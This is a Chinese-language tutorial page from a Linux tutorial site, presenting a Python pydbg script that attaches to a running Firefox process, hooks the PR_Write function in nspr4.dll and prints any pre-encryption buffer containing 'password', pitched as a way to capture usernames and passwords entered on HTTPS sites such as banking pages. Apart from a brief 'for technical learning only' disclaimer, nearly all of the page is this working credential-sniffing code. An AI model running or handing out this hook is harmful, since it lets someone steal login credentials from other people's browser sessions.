歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
您现在的位置: Linux教程網 >> UnixLinux >  >> Linux基礎 >> Linux教程

利用Python的hook技術破解https

相對於http協議,http是的特點就是他的安全性,http協議的通信內容用普通的嗅探器可以捕捉到,但是https協議的內容嗅探到的是加密後的內容,對我們的利用價值不是很高,所以一些大的網站----涉及到“大米”的網站,采用的都是http是協議,嘿嘿,即便這樣,還是有辦法能看到他的用戶名和密碼的,嘿嘿,本文只是用於技術學習,只是和大家交流技術,希望不要用於做違法的事情,這個例子是在firefox浏覽器下登錄https協議的網站,我們預先打開程序,就來了個捕獲用戶名和密碼:

下面是源代碼:

  1. #!/ur/bin/env python 
  2. from pydbg import * 
  3. from pydbg.defines import * 
  4.  
  5. import utils 
  6. import sys 
  7.  
  8. dbg = pydbg() 
  9. found_firefox = False 
  10.  
  11. pattern = "password" 
  12.  
  13.  
  14. def ssl_sniff( dbg, args ): 
  15.     buffer = "" 
  16.     offset = 0 
  17.     while 1: 
  18.         byte = dbg.read_process_memory( args[1] + offset, 1 ) 
  19.         if byte != "\x00": 
  20.             buffer += byte 
  21.             offset += 1 
  22.             continue 
  23.         else: 
  24.             break 
  25.     if pattern in buffer: 
  26.         print "Pre-Encrypted: %s" % buffer 
  27.     return DBG_CONTINUE 
  28. # 尋找firefox.exe的進程 
  29. for (pid, name) in dbg.enumerate_processes(): 
  30.     if name.lower() == "firefox.exe": 
  31.         found_firefox = True 
  32.         hooks = utils.hook_container() 
  33.         dbg.attach(pid) 
  34.         print "[*] Attaching to firefox.exe with PID: %d" % pid 
  35. # 得到firefox的hook的 address 
  36.         hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write") 
  37.         if hook_address: 
  38. # 添加hook的內容,包括他的pid,地址,嗅探類型
  39.  
  40.             hooks.add( dbg, hook_address, 2, ssl_sniff, None ) 
  41.             print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address 
  42.             break 
  43.         else: 
  44.             print "[*] Error: Couldn't resolve hook address." 
  45.             sys.exit(-1) 
  46.         if found_firefox: 
  47.             print "[*] Hooks set, continuing process." 
  48.             dbg.run() 
  49.         else: 
  50.                 print "[*] Error: Couldn't find the firefox.exe process." 
  51.                 sys.exit(-1) 
  52.                  
  53. if found_firefox: 
  54.     print "[*] Hooks set, continuing process." 
  55.     dbg.run() 
  56. else: 
  57.     print "[*] Error: Couldn't find the firefox.exe process." 
  58.     sys.exit(-1) 
Copyright © Linux教程網 All Rights Reserved